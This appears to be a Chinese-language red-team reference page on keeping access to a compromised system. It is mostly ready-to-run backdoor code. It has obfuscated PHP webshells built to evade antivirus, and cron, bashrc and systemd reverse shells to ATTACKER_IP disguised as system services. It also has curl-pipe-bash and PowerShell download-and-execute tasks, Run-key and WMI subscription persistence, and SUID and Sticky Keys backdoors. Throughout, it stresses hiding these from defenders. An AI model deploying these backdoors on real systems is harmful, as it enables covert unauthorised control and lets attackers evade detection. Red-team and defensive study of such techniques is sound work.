Persist Maintain

权限持久化方法论

持久化核心：建立不依赖原始漏洞的访问通道。

⛔ 深入参考（必读）

• 需要 Linux/Windows 各种持久化技术的具体命令 → references/persistence-techniques.md

---

Phase 1: Web 层持久化

Webshell 部署

部署位置（按隐蔽性）：静态资源目录 > 上传目录 > 框架目录深处 > 已有文件末尾追加

隐蔽 Webshell：

<?php @eval($_POST['cmd']);?>                    // 一句话
<?php $a='sys'.'tem'; $a($_GET['c']);?>          // 字符串拼接免杀
<?php array_map('assert', array($_POST['cmd']));?>  // 函数回调免杀

文件名伪装：.htaccess, config.bak.php, error_log.php, .user.ini

Phase 2: 持久化决策树

目标操作系统？
├─ Linux
│   ├─ 有 SSH 访问？→ SSH 公钥（最可靠）
│   ├─ 需要自动回连？→ Cron 反弹 shell
│   ├─ 需要隐蔽？→ systemd 服务 / bashrc 后门
│   └─ 快速后门？→ SUID shell
├─ Windows
│   ├─ 有管理员权限？→ WMI 事件订阅（最难检测）
│   ├─ 需要开机启动？→ 注册表 Run 键 / 计划任务
│   └─ 有 RDP 访问？→ Sticky Keys 后门
└─ Web 层（通用）→ Webshell
详细命令 → [references/persistence-techniques.md](references/persistence-techniques.md)

Phase 3: 多层持久化策略

不要只用一种——建立多层后门： 1. 第一层：Webshell（Web 层，最容易恢复） 2. 第二层：SSH 密钥或计划任务（系统层） 3. 第三层：服务或 WMI 订阅（深层，难以发现）

注意事项

• 持久化越隐蔽越好——文件名/服务名/任务名应像正常系统组件
• 避免使用明显路径（如 /tmp/backdoor.sh）
• 在红队评估中，记录部署了什么、在哪里

PHP Webshell 混淆

• 变量函数：$$var 动态调用，避免直接出现 eval/system（隐蔽执行）
• 替代函数：eval 替代为 assert，system 替代为 passthru 等

隐蔽性排名

• 不要修改 index.php 等核心文件——容易发现，危险

Linux 持久化技术详解

SSH 公钥（最可靠）

ssh-keygen -t rsa -N '' -f backdoor_key
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i backdoor_key root@target

Cron 任务

# 每分钟反弹 shell
echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | crontab -

# 更隐蔽：写入系统 cron 目录
echo '*/5 * * * * root curl http://ATTACKER_IP/payload.sh | bash' > /etc/cron.d/logrotate-helper

bashrc/profile 后门

echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /root/.bashrc

SUID 后门

cp /bin/bash /tmp/.hidden_shell
chmod u+s /tmp/.hidden_shell
# 以后用 /tmp/.hidden_shell -p 获取 root

systemd 服务

cat > /etc/systemd/system/update-helper.service << 'EOF'
[Unit]
Description=System Update Helper
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update-helper
systemctl start update-helper

---

Windows 持久化技术详解

计划任务

schtasks /create /tn "WindowsUpdate" /tr "powershell -ep bypass -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')\"" /sc minute /mo 5 /ru SYSTEM

注册表启动项

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "powershell -ep bypass -w hidden -enc BASE64_PAYLOAD" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHelper" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

服务后门

sc create "WindowsUpdateHelper" binpath= "cmd.exe /c powershell -ep bypass -w hidden -c ..." start= auto

WMI 事件订阅（高级，难以检测）

$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = 'SystemCheck'; EventNameSpace = 'root\cimv2'; QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
    Name = 'SystemCheckConsumer'; CommandLineTemplate = 'powershell -ep bypass -w hidden -enc BASE64'
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}

Sticky Keys 后门（物理/RDP 访问）

copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# 在登录界面连按 5 次 Shift → 弹出 SYSTEM 权限的 cmd